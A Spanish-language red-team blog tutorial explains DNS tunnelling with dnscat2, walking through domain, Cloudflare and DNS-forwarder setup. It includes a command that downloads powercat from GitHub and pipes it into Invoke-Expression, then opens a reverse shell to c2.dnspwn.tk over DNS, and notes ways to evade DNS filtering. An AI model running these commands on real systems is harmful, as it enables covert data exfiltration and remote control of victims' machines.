Muy buenas a todos!
Esta semana vamos a exfiltrar datos a través del protocolo DNS desde cero. Para ello, utilizaremos la herramienta DnsCat2, que nos permitirá recibir y enviar ficheros o incluso, obtener una shell reversa. Además, utilizaremos dominios y otros servicios gratuitos para montar toda la infraestructura necesaria.
Uno de los problemas más comunes que todo pentester suele padecer en algún momento de la auditoría o ejercicio de red team, es la comunicación al exterior desde un host comprometido.
Muchas suites de Command & Control nos permiten recibir conexiones a través de protocolos como pueden ser: TCP, UDP, o incluso, a través de HTTP; tal y como hemos visto en entradas anteriores.
El «problema» radica en que muchas organizaciones y entidades, disponen de técnicas de filtrado y/o bloqueo para este tipo de peticiones, por lo que podríamos tener serios problemas para conseguir una shell reversa o simplemente extraer información sensible al exterior, como parte de la prueba de concepto.
Por suerte para nosotros, no todo está perdido 😜
Existen todo tipo de guías en internet realizando este mismo proceso, utilizando estas u otras herramientas y diferentes proveedores. Evidentemente, cualquier solución es totalmente válida si cumple satisfactoramiente su propósito. En esta guía se refleja los pasos que he utilizado y me han funcionado tras diferentes pruebas de acierto y error.
Uno de los protocolos más comunes y utilizados a lo largo y ancho de internet, es el protocolo DNS. Para aquellos que no estén familiarizados con el Domain Name System, básicamente se trata de un servicio que resuelve nombres de dominio a direcciones IP, ya sean públicas o privadas.
Ahora bien, cómo podemos aprovecharnos de este protocolo para conseguir nuestro objetivo? Pues a pesar de lo que pueda parecer a priori, se trata de algo bastante sencillo de ejecutar.
En primer lugar, tenemos que tener en cuenta algo muy simple y completamente trivial. Independientemente de lo que queramos hacer, lo que vamos a enviar al exterior son datos: En bits, en bytes, en hexadecimal o en cualquier otra codificación. No importa cómo, lo importante es hacerlo llegar.
Por lo tanto: Si no podemos enviar información desde nuestro host a través de ningún protocolo convencional, pero podemos hacer consultas DNS.. por qué no enviar esa información «dentro» de la consulta?
Es decir, si yo intento resolver payload.dominiomalicioso.com a través de internet (donde payload podría ser cualquier cosa, en cualquier formato) y dispongo de un servidor a la escucha que recibirá esa respuesta, de alguna forma, hemos conseguido enviar información utilizando este canal de comunicación.
Por lo tanto, lo único que necesitamos ahora es automatizar el proceso y algo de infraestructura (un dominio, un reenviador DNS y alguna cosa más) para que las peticiones DNS puedan llegar correctamente a su destino y puedan ser interpretadas correctamente.
Como suele ser habitual en estos casos, alguien ya se encontró con este problema y lo resolvió creando una herramienta especifica para ello. En este caso concreto, hablamos de dnscat2, que fue creada por @iagox86 con el propósito de corregir los errores de su antecesora, dnscat.
A continuación, os dejo el enlace oficial del proyecto en GitHub: https://github.com/iagox86/dnscat2
Ahora que ya tenemos algo más de contexto, pasemos a la parte práctica 😋
Antes de descargar la herramienta, vamos a tener que realizar algunos pasos previos. Sencillos, pero seguramente os llevará un buen rato. Además, todo lo referente a lo que a nombres de dominio se refiere, suele necesitar unos tiempos de propagación (para hacerse público y reflejarse en los diferentes servidores DNS de internet) bastante largos.
Primero, necesitaremos un nombre de dominio. Para ello, me gusta utilizar los servicios de freenom.com ya que son gratuitos y nos permiten gestionar los nameservers sin mayor dificultad.
Para llevar a cabo el registro, solo necesitaremos crear una cuenta y comprobar la disponibilidad de nuestro dominio en el cuadro de búsqueda que aparece al inicio de la página:
Una vez finalizado el registro, y para que funcione correctamente la resolución DNS, configuraremos los nameservers desde el panel de control:
Para conseguir esos nombres que aún no tenemos, tendremos que crear otra cuenta más. Esta vez, en cloudflare.com:
Si os sucede algo parecido a la imagen anterior, no os preocupéis, como he dicho anteriormente, el proceso puede tardar bastante tiempo (incluso 24 o 48 horas). También es importante que apuntéis el dominio a una IP existente para que Cloudflare pueda encontrarlo sin problemas.
Una vez podamos continuar con el proceso, nos preguntará que plan queremos utilizar. En mi caso, utilizaré el plan gratuito, ya que cumple sobradamente con los requisitos necesarios para este ejercicio.
A continuación nos importará los registros DNS existentes (no es necesario modificar nada todavía) y por último nos proporcionará los nameservers de los que hablábamos anteriormente:
Una vez modificados los nameservers en freenom, y mientras se propagan los cambios, aprovecharemos para dejar ya configurados los registros necesarios de la siguiente forma:
Para que podáis verlo más claramente, lo dejo por aquí en formato tabla:
Tipo | Nombre | Contenido | Proxy |
---|---|---|---|
A | dnspwn.tk | 88.66.44.22 | Solo DNS |
A | ns1 | 88.66.44.22 | Solo DNS |
A | www | 88.66.44.22 | Solo DNS |
NS | c2 | ns1.dnspwn.tk | Solo DNS |
La IP utilizada anteriormente (88.66.44.22) se trata de una IP pública de ejemplo y no debe utilizarse. En su lugar, deberás utilizar la IP pública de tu servidor VPS, la IP pública de tu trabajo o de tu casa para hacer llegar las peticiones DNS a través de NAT.
Llegados a este punto, y antes de continuar, vamos a ver en detalle todo lo que acabamos de configurar.
En primer lugar, tenemos un dominio llamado dnspwn.tk que resolverá hacia la IP pública que hayamos configurado en Cloudflare. Este registro y el de tipo www, se utilizan exclusivamente para poder encontrar el dominio a través de internet, por lo que no juegan ningún papel en el intercambio de información por peticiones DNS.
En segundo lugar, tenemos un servidor de nombres propio, ns1.dnspwn.tk que resolverá cualquier petición que llegue a c2.dnspwn.tk. Hasta aquí todo normal, la «magia» sucede cuando configuramos ese servidor de nombres, para que de nuevo apunte hacia nuestra IP pública.
Os pondré un ejemplo: Si yo lanzo una petición a www.dnspwn.tk, cualquier servidor DNS de internet me responderá con la IP pública que yo haya configurado en el paso anterior. Pero, si intento resolver cualquiercosa.c2.dnspwn.tk, lo que sucederá es que ns1.dnspwn.tk tendrá que resolverlo. Básicamente, acabamos de crear un DNS autoritativo.
Pero claro, le hemos dicho que quién lo va a resolver es nuestra IP pública, por lo tanto.. qué está pasando aquí? Pues muy sencillo, que esa consulta DNS, será la que contenga el payload donde estará nuestra información, nuestra shell reversa o cualquier otro payload que queramos hacer llegar a nuestro servidor.
Por lo tanto, esa petición no llegará a resolverse nunca, si no que se interpretará como información por dnscat2 y se devolverá una respuesta en función de lo que estemos haciendo en ese momento.
Pasemos ahora a la siguiente fase: Instalación y configuración de servidores.
En mi caso particular, voy a utilizar el siguiente escenario: Una máquina física con Windows 10 instalado y una máquina virtual ejecutando Kali Linux. La IP pública que he configurado en Cloudflare apunta a mi IP doméstica y he creado un NAT en el router de mi ISP para que reenvie el puerto 53 UDP (el puerto estándar DNS) a mi máquina física.
Por lo que, cuando se envie una petición DNS a nuestro dominio malicioso, ésta, llegará a mi máquina con Windows 10. Ya que dnscat2 estará corriendo en Kali Linux, lo que necesitamos ahora es un «reenviador» de solicitudes DNS, para que las peticiones puedan llegar correctamente a su destino.
En muchas ocasiones este paso no es necesario y es posible enviar las peticiones DNS directamente sin pasar primero por el reenviador. En mi caso solo ha funcionado como se demuestra a continuación, y además, esto nos otorga un mayor control y visibilidad de los paquetes que de otra forma, no tendríamos.
A partir de este punto tenéis dos alternativas, una gratuita y otra de pago. Ya que, durante todo el proceso hemos utilizado servicios gratuitos, esta guía se centrará en el uso de software gratuito. En cualquier caso, me gustaría aclarar que he obtenido mejores resultados con el software de pago, que podéis utilizar de forma gratuita durante 14 días.
Las soluciones en cuestión son Technitium DNS Server y Simple DNS Plus, siendo la primera la gratuita y la segunda, la solución de pago.
A continuación, nos descargaremos el ejecutable e instalaremos el software con normalidad. Si todo ha ido como debe, nos aparecerá una pantalla de login donde accederemos como admin/admin:
Una vez dentro, buscaremos la pestaña «Settings» y configuraremos los siguientes campos:
• DNS Server Domain: Aquí introduciremos el dominio que hemos registrado.
• Recursive Resolver: Aquí desmarcaremos las tres últimas casillas.
Por último, desde la pestaña «Zones» crearemos una nueva zona que actuará como reenviador condicional, donde utilizaremos el dominio c2.dnspwn.tk y lo reenviaremos a la IP privada de nuestra Kali Linux:
Con esto ya tendríamos toda la infraestructura «intermedia» necesaria para conectar dos puntos (cliente y servidor) a través de DNS, pasando primero por Cloudflare y seguidamente, por nuestro reenviador DNS, en el que podremos monitorizar todo lo que sucede desde la pestaña de «Logs» en tiempo real.
Pasemos ahora a nuestra Kali Linux, en la que instalaremos la herramienta dnscat2.
En mi caso particular, utilizaré docker para facilitar el proceso de instalación y configuración, así también evitaremos posibles problemas con algunas dependencias y podremos levantarlo a petición cuando nos interese.
Para instalarlo, solo tendremos que ejecutar el siguiente comando:
# En la terminal docker run --rm -ti --privileged -p 53:53/udp -e DOMAIN_NAME="c2.dnspwn.tk" --name dnscat2 arno0x0x/dnscat2 # Dentro del Docker set security open set auto_attach true
Ahora que ya tenemos nuestro servidor a la escucha con todo preparado para funcionar, utilizaremos la herramienta powercat para enviar una shell remota desde nuestro equipo víctima, hasta nuestra máquina Kali Linux a través de peticiones DNS.
Para llevarlo a cabo, ejecutaremos los siguientes comandos en la parte cliente:
Invoke-WebRequest -UseBasicParsing https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 | Invoke-Expression powercat -c dnspwn.tk -p 53 -dns c2.dnspwn.tk -ep
Si todo ha funcionado correctamente, y la propagación de los nombres DNS ha sido correcta, nos llegará una shell remota desde la que podremos interactuar como si de un netcat se tratase:
Mientras, podremos observar todo lo que sucede desde Technitium DNS Server, facilitándonos mucho la tarea de debugging en caso de error o problemas de comunicación:
Una de las cosas que más me gusta de este montaje, es que puede aprovecharse para multitud de herramientas que hacen uso de este canal de comunicación, como pueden ser Mística, DNSExfiltrator o cualquier otra. Además, perdura en el tiempo y no tiene coste alguno, por lo que es muy sencillo de reutilizar entre nuestros ejercicios de red team.
Como conclusión final, pese a que estas técnicas ya tienen años a sus espaldas, continúan funcionando como el primer día en muchísimos entornos. Además, podemos añadir otros elementos a la ecuación (como la resolución DNS a través de HTTP), para evadir algunos sistemas de protección sobre la capa DNS, consiguiendo así nuestro objetivo.
Espero que os haya gustado y os resulte útil en vuestras próximas auditorías.
Nos vemos en la próxima!